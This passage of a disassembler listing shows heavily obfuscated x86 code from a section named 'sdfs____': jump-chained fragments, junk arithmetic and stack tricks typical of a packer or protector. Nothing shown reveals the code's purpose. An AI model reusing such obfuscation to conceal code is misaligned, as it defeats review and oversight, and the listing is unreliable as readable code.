[esp+8+var_8] pop eax add esp, 4 add eax, 4 jmp loc_58F3C1 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_58BAFB: ; CODE XREF: sdfs____:0058F430j push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], edx push ebx mov bh, 81h jmp loc_598273 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_58BB0F: ; CODE XREF: sub_59841F-1129j sub ebp, 7203998Eh sub ebx, ebp pop ebp jmp loc_590007 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58BB1D: ; CODE XREF: sub_591435:loc_58D06Ej ; sdfs____:00596B77j push [esp+0Ch+var_C] push [esp+10h+var_10] pop eax push ecx mov ecx, esp push edi jmp loc_59113D ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_58BB2D: ; CODE XREF: sdfs____:0058FB30j ; sub_59841F-74B2j push ecx mov ecx, 61BB10A7h jmp loc_593B51 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592F43 loc_58BB38: ; CODE XREF: sub_592F43-2702j add esp, 4 jmp loc_58BF0D ; END OF FUNCTION CHUNK FOR sub_592F43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594767 loc_58BB40: ; CODE XREF: sdfs____:0059047Fj ; sub_594767+3DCEj push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+10h+var_10] pop esp jmp loc_592193 ; END OF FUNCTION CHUNK FOR sub_594767 ; --------------------------------------------------------------------------- loc_58BB55: ; CODE XREF: sdfs____:0058FF5Dj ; sdfs____:00595891j add edi, 4 sub edi, 4 xor edi, [esp] xor [esp], edi jmp loc_5958DD ; --------------------------------------------------------------------------- loc_58BB69: ; CODE XREF: sdfs____:0059492Ej mov [esp], edx mov edx, 4 add ebp, edx mov edx, [esp] jmp loc_58E49D ; --------------------------------------------------------------------------- loc_58BB7B: ; CODE XREF: sdfs____:0058D158j not ecx shr ecx, 1 xor ecx, edx jmp loc_596978 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] push dword ptr [esp] mov eax, [esp] add esp, 4 push ebx sub esp, 4 push esp jmp loc_58F5D8 ; --------------------------------------------------------------------------- loc_58BB9F: ; CODE XREF: sdfs____:00590D8Ej add ecx, 0FD3DCF29h mov ebx, ecx pop ecx jmp loc_58BD18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590CC3 loc_58BBAD: ; CODE XREF: sub_590CC3+4650j mov esp, [esp+4+var_4] sub ebx, eax push 119Dh mov [esp+0], ecx jmp loc_596083 ; END OF FUNCTION CHUNK FOR sub_590CC3 ; --------------------------------------------------------------------------- loc_58BBBF: ; CODE XREF: sdfs____:0058F7DAj push 5681h jmp loc_59063D ; --------------------------------------------------------------------------- lodsd xor eax, ebx push ebx push ecx mov ecx, 13833D9h jmp loc_58DA68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594F18 loc_58BBD8: ; CODE XREF: sub_594F18-5053j pop ebp jmp sub_59369D ; END OF FUNCTION CHUNK FOR sub_594F18 ; --------------------------------------------------------------------------- loc_58BBDE: ; CODE XREF: sdfs____:0058EA25j mov ebx, 18405C18h neg ebx and ebx, 76760017h shr ebx, 6 jmp loc_5973A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E92A loc_58BBF3: ; CODE XREF: sub_58E92A+652Bj sub bl, 90h mov cx, [esp+0] jmp loc_598BB8 ; END OF FUNCTION CHUNK FOR sub_58E92A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58BBFF: ; CODE XREF: sub_591435-4372j mov [esp+0], ebx mov bh, dl jmp loc_590A97 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59666E loc_58BC09: ; CODE XREF: sub_58FE99:loc_58F004j ; sub_59666E-1E6Bj push cx pushf jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_59666E ; --------------------------------------------------------------------------- loc_58BC11: ; CODE XREF: sdfs____:00590967j xor edi, 6D7A4F6Eh or edi, 61F40C99h dec edi jmp loc_593F16 ; --------------------------------------------------------------------------- loc_58BC23: ; CODE XREF: sdfs____:loc_58F6D3j sub edx, 59AF5353h jns loc_58D7F6 sub edx, 6BC973E8h jmp loc_596B64 ; --------------------------------------------------------------------------- mov ah, al loc_58BC3C: ; CODE XREF: sdfs____:0058E67Fj pop esi push ecx mov ecx, 54E8135Ch jmp loc_593279 ; --------------------------------------------------------------------------- loc_58BC48: ; CODE XREF: sdfs____:005958EFj pop esi jmp loc_597A54 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_58BC4E proc near ; CODE XREF: sub_591AD9+3ED2j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058EC1B SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0058F123 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005903A1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00591029 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059229F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00592565 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00592B64 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00593730 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059510C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00595A2F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00595CDF SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00598A18 SIZE 00000009 BYTES push ebp mov ebp, esp add ebp, 4 jmp loc_592B64 sub_58BC4E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594F18 loc_58BC5C: ; CODE XREF: sub_59214E-4DCFj ; sdfs____:005947E7j ... sub eax, 45CD6C30h add eax, ebp add eax, 45CD6C30h add eax, 6EC72A4Eh push ebp mov ebp, 68D67C15h neg ebp xor ebp, 0BC93873h jmp loc_5946AD ; END OF FUNCTION CHUNK FOR sub_594F18 ; --------------------------------------------------------------------------- loc_58BC80: ; CODE XREF: sdfs____:00598871j pop edi mov ecx, eax jmp loc_58CA47 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_58BC88: ; CODE XREF: sub_5BB696-2658Fj mov cl, 0BDh or cl, 40h add cl, 85h sub bl, cl pop ecx sub cl, bl pop ebx add bl, cl pop ecx add bl, al sub bl, 0D7h push ax push ebx jmp loc_5901E5 ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- mov cx, [esp] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] jmp loc_593AE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58BCBE: ; CODE XREF: sub_594228-31CDj mov ebp, esp push ebx jmp loc_5979D5 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FE3C loc_58BCC6: ; CODE XREF: sub_58FE3C-2C10j add ecx, 2 xor ecx, [esp+0] xor [esp+0], ecx jmp loc_591827 ; END OF FUNCTION CHUNK FOR sub_58FE3C ; --------------------------------------------------------------------------- loc_58BCD7: ; CODE XREF: sdfs____:0058D684j pop edx xor bl, al movzx eax, al mov dx, [esp] push 50CCh mov [esp], edi push esp pop edi push esi sub esp, 4 jmp loc_5955D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59214E loc_58BCF7: ; CODE XREF: sub_59214E+178Fj pop edx push 2300h mov [esp+0], ecx jmp loc_58DB70 ; END OF FUNCTION CHUNK FOR sub_59214E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_598A21 loc_58BD05: ; CODE XREF: sub_598A21-6C17j add ebp, 24B65324h sub eax, ebp pop ebp jmp loc_590EE3 ; END OF FUNCTION CHUNK FOR sub_598A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590CC3 loc_58BD13: ; CODE XREF: sub_590CC3-288Aj jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_590CC3 ; --------------------------------------------------------------------------- loc_58BD18: ; CODE XREF: sdfs____:0058BBA8j add eax, ebx mov ebx, [esp] add esp, 4 jmp loc_591746 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58BD28: ; CODE XREF: sub_594228+34D1j push ax jmp loc_597959 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58BD2F: ; CODE XREF: sub_591370+431Dj ; sub_591435+73CCj mov ecx, 55762DA8h shr ecx, 2 shl ecx, 7 and ecx, 3D434192h xor ecx, 364864D2h xor ecx, 1A55A8Ch add ecx, 0E453C0A4h jmp loc_5924CA ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58BD57: ; CODE XREF: sub_594228-7E9j shl ebx, 5 push edx mov edx, 671E7C0Ah sub edx, 815347DCh add ebx, edx pop edx push 15ECh jmp loc_593CFF ; --------------------------------------------------------------------------- loc_58BD73: ; CODE XREF: sub_594228-251j mov ebx, [esp+6+var_8+2] jmp loc_59875C ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58BD7B: ; CODE XREF: sdfs____:00595BFCj add eax, 7C370BF0h mov esi, [esp] jmp loc_58E45C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58BD88: ; CODE XREF: sub_594228-3A14j xor ecx, eax xor eax, ecx xor ecx, eax not eax xchg eax, ecx shl ecx, 1 shr ecx, 4 jnz loc_5911D2 add ecx, 5ABACD44h jmp loc_591218 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- add edx, edi pop edi ; =============== S U B R O U T I N E ======================================= sub_58BDAA proc near ; CODE XREF: sub_591435-2F58j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058CC9F SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0058E351 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00597DBB SIZE 0000000E BYTES push ebp mov ebp, 3E597BDFh xor ecx, ebp pop ebp jmp loc_597DBB sub_58BDAA endp ; --------------------------------------------------------------------------- loc_58BDB8: ; CODE XREF: sdfs____:0059374Cj xor edx, [esp] mov esp, [esp] mov ax, [esp] push eax mov eax, esp add eax, 4 push ebx jmp loc_58F09F ; --------------------------------------------------------------------------- loc_58BDD0: ; CODE XREF: sdfs____:00592FFFj add eax, edi add eax, 1B606610h pop edi xchg eax, [esp] pop esp movzx cx, al push small 5AFBh mov [esp], cx jmp loc_597A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58BDED: ; CODE XREF: sub_5917C0-2D7Bj mov ecx, 2 jmp loc_590F46 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58BDF7: ; CODE XREF: sdfs____:0058E821j add eax, 251A0BF9h add eax, ebx sub eax, 251A0BF9h add eax, 74064C17h jmp loc_59722E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58BE0D: ; CODE XREF: sub_5941BD-41E3j and eax, ecx jmp loc_58CDA6 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_58BE14: ; CODE XREF: sdfs____:0058DCCEj xor edx, esi pop esi push ecx mov ecx, 41B76879h or ecx, 9750EF3h xor ecx, 5C04154Eh add ebx, ecx pop ecx add ebx, edx push esi mov esi, 15F37BB5h sub ebx, esi pop esi pop edx add ebx, 4 xchg ebx, [esp] jmp loc_5952A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58BE43: ; CODE XREF: sub_591435+1E62j mov ecx, [esp+0Ch+var_C] add esp, 4 add esp, 4 add esp, 4 sub esp, 4 mov [esp+4+var_4], edi jmp loc_5954AA ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58BE60: ; CODE XREF: sdfs____:00595E4Aj push esi mov esi, 44253F9Bh or esi, 36FF23AEh dec esi sub esi, 13F97CC3h jmp loc_59359D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58BE78: ; CODE XREF: sub_5917C0+66C0j mov [esp+0], eax jmp sub_58E92A ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58BE80: ; CODE XREF: sdfs____:00597486j shr ebx, 1 jns loc_592BFE add ebx, 0DCEAAA9Fh jmp loc_58E45C ; --------------------------------------------------------------------------- pop eax loc_58BE94: ; CODE XREF: sdfs____:0058E665j inc ebp jl loc_595118 add ebp, 427711B7h jmp loc_59823E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58BEA6: ; CODE XREF: sub_591435+663Ej push ecx mov ch, 2Eh jmp loc_595DAB ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58BEAE: ; CODE XREF: sdfs____:00595A52j xor ebx, 270446E5h jmp loc_591BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58BEB9: ; CODE XREF: sub_594228-6406j ; sub_58FE99-E8Fj jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58BEBE: ; CODE XREF: sdfs____:00597B7Fj mov ebx, [esp] add esp, 4 sub ch, 5Fh jmp loc_596ACF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58BECF: ; CODE XREF: sub_594228+19F2j add esp, 4 jmp sub_58D9EF ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58BED7: ; CODE XREF: sdfs____:0058C7ADj push esi jmp loc_5935D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58BEDD: ; CODE XREF: sdfs____:0058FFC1j ; sub_5917C0-F9Fj sub esi, 0FF32AED7h jmp loc_58DEF6 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58BEE8: ; CODE XREF: sdfs____:0058F4A1j xor edi, [esp] jmp loc_5903F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58BEF0: ; CODE XREF: sub_591435-1BDEj mov eax, 44B05316h add ecx, eax pop eax sub ecx, 516C0E4Eh mov edx, [esp+4+var_4] add esp, 4 push edx jmp sub_5987BC ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592F43 loc_58BF0D: ; CODE XREF: sub_592F43-7408j add esp, 4 push edi push dword ptr [esp+4] pop edi pop [esp+4+var_4] jmp loc_5938C6 ; END OF FUNCTION CHUNK FOR sub_592F43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58BF1E: ; CODE XREF: sub_591370+BFDj sub esi, eax jmp loc_597FCE ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_58BF25: ; CODE XREF: sub_5BB696:loc_596153j sub bl, 0D0h jmp loc_58FDBC ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- loc_58BF2D: ; CODE XREF: sdfs____:0058FBDEj sub eax, 2FE232A1h jmp loc_58F5BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_58BF37: ; CODE XREF: sub_5987BC-7539j push dword ptr [esp+0] pop edx add esp, 4 pop [esp-4+arg_0] pop esp push esi push eax push 248F4B88h pop eax not eax push ebp jmp loc_58D16E ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- loc_58BF55: ; CODE XREF: sdfs____:00595654j add edi, ecx pop ecx xchg edi, [esp] mov esp, [esp] ror byte ptr [esp], cl pushf jmp loc_59885F ; --------------------------------------------------------------------------- mov ax, [esp] push 1895h mov [esp], ecx jmp loc_58FCBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58BF78: ; CODE XREF: sub_5941BD-1D8j ; sdfs____:00596F25j push 1A7Fh mov [esp+4+var_4], ebx mov bl, dl push eax mov ah, bl jmp loc_597CC6 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_58BF8A: ; CODE XREF: sdfs____:00592AB8j push esi mov esi, 42701803h jmp loc_590E81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58BF95: ; CODE XREF: sub_591435+3077j not ebp add ebp, 0FFFFFFFFh shr ebp, 6 push esi jmp loc_58E890 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592853 loc_58BFA6: ; CODE XREF: sub_592853-10EEj push 7B8Bh jmp loc_59736F ; END OF FUNCTION CHUNK FOR sub_592853 ; --------------------------------------------------------------------------- loc_58BFB0: ; CODE XREF: sdfs____:0058C9DAj mov ch, 4 dec ch or ch, 1 jmp loc_592E83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592853 loc_58BFBC: ; CODE XREF: sub_592853+Cj xor [esp+4+var_4], ebp xor ebp, [esp+4+var_4] pop esp mov [esp+0], ecx mov ecx, 10h jmp loc_591759 ; END OF FUNCTION CHUNK FOR sub_592853 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58BFD0: ; CODE XREF: sub_5917C0+1DD8j xchg ecx, [esp+0] mov esp, [esp+0] jmp loc_597E7B ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58BFDB: ; CODE XREF: sdfs____:loc_58C3ABj inc esi sub esi, 1B67AD08h sub eax, esi pop esi jmp loc_592A23 ; --------------------------------------------------------------------------- loc_58BFEA: ; CODE XREF: sdfs____:00597036j mov ax, [esp] push 48E9h mov [esp], edi push esp push dword ptr [esp] mov edi, [esp] jmp loc_58D9AD ; --------------------------------------------------------------------------- loc_58C002: ; CODE XREF: sdfs____:005942CDj add ch, 0BBh jmp loc_58FA55 ; --------------------------------------------------------------------------- loc_58C00A: ; CODE XREF: sdfs____:005969ECj mov edi, 40166B81h jmp loc_5987DF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_58C014: ; CODE XREF: sub_59841F-20C2j mov [esp+4+var_4], ebx push esp push [esp+8+var_8] pop ebx add esp, 4 jmp loc_591423 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_58C027: ; CODE XREF: sdfs____:00591AD4j add ebx, 4 jmp loc_597FB2 ; --------------------------------------------------------------------------- loc_58C032: ; CODE XREF: sdfs____:00592DD4j ; sdfs____:00596A43j pop esp push esp pop dword ptr [esp] add dword ptr [esp], 4 mov esi, [esp] add esp, 4 add esi, 4 push ecx mov ecx, 2 sub esi, 63254EE0h jmp loc_595E9C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FE99 loc_58C05E: ; CODE XREF: sdfs____:0059779Ej ; sub_58FE99:loc_597B84j push ecx mov ecx, 25283AF8h and ecx, 6AA7D6Ah push edx mov edx, 7307077Ch jmp loc_58DBCB ; END OF FUNCTION CHUNK FOR sub_58FE99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_58C075: ; CODE XREF: sub_5987BC-A963j not edi shl edi, 4 jmp loc_597571 ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- loc_58C07F: ; CODE XREF: sdfs____:005914ADj mov [esp], edx jmp loc_58E449 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58C087: ; CODE XREF: sub_591435+8D1j mov esi, ebp pop ebp and eax, esi push [esp+4+var_4] pop esi jmp loc_59842A ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EB23 loc_58C095: ; CODE XREF: sub_58EB23+7B6Aj pop edx jmp loc_596DB3 ; END OF FUNCTION CHUNK FOR sub_58EB23 ; --------------------------------------------------------------------------- loc_58C09B: ; CODE XREF: sdfs____:0058C67Ej sub edx, 30865FA3h pop esi xor eax, edx mov edx, [esp] add esp, 4 add edx, eax mov eax, [esp] add esp, 4 push ecx mov ecx, 2 add edx, 3F564214h jmp loc_592880 ; --------------------------------------------------------------------------- loc_58C0C3: ; CODE XREF: sdfs____:00592EF3j pop ebp push 2250h mov [esp], edx sub dword ptr [esp], 18C4421Bh mov edi, [esp] add esp, 4 push esi jmp loc_595BEE ; --------------------------------------------------------------------------- loc_58C0E2: ; CODE XREF: sdfs____:00590B07j mov ecx, 2F634A49h push edi mov edi, 20F372E4h jmp loc_5945EE ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx sub esp, 4 mov [esp], ebx push esp mov ebx, [esp] add esp, 4 push esi mov esi, 65560DC8h dec esi inc esi push ebp mov ebp, 65560DC4h jmp loc_58E3B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58C119: ; CODE XREF: sub_5917C0-181Ej mov edx, esp jmp loc_59467D ; --------------------------------------------------------------------------- loc_58C120: ; CODE XREF: sub_5917C0-FF5j mov edi, 2791773Ch sub eax, edi pop edi add eax, edi add eax, 2791773Ch mov edi, [esp-4+arg_0] add esp, 4 push edi jmp loc_595710 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58C13E: ; CODE XREF: sdfs____:0059212Ej pop edi xchg eax, [esp] pop esp imul ecx, eax jmp loc_59223A ; --------------------------------------------------------------------------- loc_58C14B: ; CODE XREF: sdfs____:0058DCC8j add bl, 4Dh push ax mov ah, 0EEh xor bl, ah mov ax, [esp] add esp, 2 sub bl, 0DEh add al, bl jmp loc_598338 ; --------------------------------------------------------------------------- lodsb xor al, bl sub esp, 4 jmp loc_58F4B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_58C173: ; CODE XREF: sub_5962EB:loc_5967C4j add ebp, 17822F08h mov edx, ebp pop ebp add ebx, edx mov edx, [esp-4+arg_0] jmp loc_59388A ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_58C186: ; CODE XREF: sdfs____:0059190Fj mov dh, al mov [ecx], dh pop edx pop ecx jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_58C191: ; CODE XREF: sdfs____:005909C6j push 2156h mov [esp], edi mov edi, 59D073DEh add [esp+4], edi mov edi, [esp] add esp, 4 add dword ptr [esp], 6A746EA8h add [esp], eax push esi mov esi, 6A746EA8h sub [esp+4], esi mov esi, [esp] jmp loc_58C9B2 ; --------------------------------------------------------------------------- loc_58C1C7: ; CODE XREF: sdfs____:0058EE4Bj push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_593169 ; --------------------------------------------------------------------------- loc_58C1D4: ; CODE XREF: sdfs____:0059038Dj ; sdfs____:00598891j add eax, 4 add eax, 4 xchg eax, [esp] pop esp push 7BD9h mov [esp], edx mov edx, 4 jmp loc_591E40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58C1F4: ; CODE XREF: sub_594228-532Aj and eax, ebp pop ebp jmp loc_5972D9 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58C1FC: ; CODE XREF: sdfs____:00591CB8j push edi jmp loc_597C36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58C202: ; CODE XREF: sub_5941BD+171Bj mov [esp+8+var_8], ebp push esi push 24851CFEh pop esi sub esi, 89B6B45h neg esi jbe loc_59711C sub esi, 0D7E93F75h mov ebp, esi jmp loc_58D9D1 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- pop edi mov ax, [esp] push 1DBFh jmp loc_58E319 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594F18 loc_58C236: ; CODE XREF: sub_594F18-F89j sub ebp, 0E2D54FA6h add eax, ebp pop ebp push esi mov esi, 33DD007Dh jmp loc_58FEB6 ; END OF FUNCTION CHUNK FOR sub_594F18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58C24A: ; CODE XREF: sub_5941BD-745Fj xor ecx, 1CD7822h add ebx, ecx pop ecx xchg ebx, [esp+8+var_8] pop esp sub esp, 4 mov [esp+8+var_8], ebp mov ebp, 16B07DDFh push edx mov edx, 45EE4BC5h add edx, 0DC3315AAh add ebp, 54AD2B2Ah add ebp, edx sub ebp, 54AD2B2Ah pop edx push ebx push eax mov eax, 4CE12C7Ah jmp loc_58C7D0 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_58C28C: ; CODE XREF: sdfs____:0058F987j ; sdfs____:00590BA5j mov [esp], ebx jmp loc_59152B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CDE6 loc_58C294: ; CODE XREF: sub_58CDE6:loc_58DFF8j not edi xor edi, 0FD89C43Bh jmp loc_58DF0B ; END OF FUNCTION CHUNK FOR sub_58CDE6 ; --------------------------------------------------------------------------- loc_58C2A1: ; CODE XREF: sdfs____:0059780Dj mov ebp, 39BC6DE5h push eax mov eax, 7F0C1CAFh neg eax shl eax, 5 xor eax, 1B7A49E5h jmp loc_595F61 ; --------------------------------------------------------------------------- loc_58C2BB: ; CODE XREF: sdfs____:0058F446j add eax, edx pop edx sub eax, esi push esi mov esi, 21D9483Ch shl esi, 8 jmp loc_58CF26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_58C2CE: ; CODE XREF: sub_5985AE-88A9j push edx mov edx, 4DC56057h mov ecx, 5A05BF4Ch jmp loc_593344 ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- loc_58C2DE: ; CODE XREF: sdfs____:00590593j add bh, 9 mov dl, bh push dword ptr [esp] pop ebx add esp, 4 sub al, dl push dword ptr [esp] pop edx add esp, 4 sub al, bl jmp loc_58D656 ; --------------------------------------------------------------------------- loc_58C2FD: ; CODE XREF: sdfs____:0058C5EEj add edi, 684E7960h add edi, edx sub edi, 684E7960h jmp loc_58CA99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58C310: ; CODE XREF: sub_594228-38E6j pop eax xor edx, 1A33A6Fh jmp sub_5920A6 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58C31C: ; CODE XREF: sdfs____:0058ED22j jmp loc_58C84B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59214E loc_58C321: ; CODE XREF: sub_59214E+4726j add esp, 4 xor edx, 7EFD60C9h jl loc_595C55 jmp loc_58DB1C ; END OF FUNCTION CHUNK FOR sub_59214E ; --------------------------------------------------------------------------- loc_58C335: ; CODE XREF: sdfs____:0058C394j add edx, ecx pop ecx jmp loc_5980FB ; --------------------------------------------------------------------------- loc_58C33D: ; CODE XREF: sdfs____:00591557j pop ebx add edi, 4C3A394Bh add edi, 0AEC5B12Fh add esi, edi pop edi sub esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_58D5D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_58C35E: ; CODE XREF: sub_59587A-7CB4j xor [esp+0], eax pushf jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58C367: ; CODE XREF: sub_5917C0+4D94j ; sub_594228+2BCCj and esi, 5F7A5AE0h push ecx jmp loc_58F345 ; --------------------------------------------------------------------------- loc_58C373: ; CODE XREF: sub_594228-6DD0j mov ebx, ebp jmp loc_58D47F ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DB37 loc_58C37A: ; CODE XREF: sub_58DB37+9j mov ebx, esp sub esp, 4 jmp loc_5912CC ; END OF FUNCTION CHUNK FOR sub_58DB37 ; --------------------------------------------------------------------------- loc_58C387: ; CODE XREF: sdfs____:005931A5j push ecx push 0C634331h pop ecx sub ecx, 0C63432Dh jmp loc_58C335 ; --------------------------------------------------------------------------- loc_58C399: ; CODE XREF: sdfs____:0058D8D8j mov [esp], eax sub esp, 4 jmp loc_58FAE0 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_58C3AB: ; CODE XREF: sdfs____:005949A5j jmp loc_58BFDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58C3B0: ; CODE XREF: sub_591370+2F00j shl bh, 4 js loc_59339E push edx mov dl, 0FAh push cx mov ch, dl not ch push eax push ebx mov bl, ch mov ah, 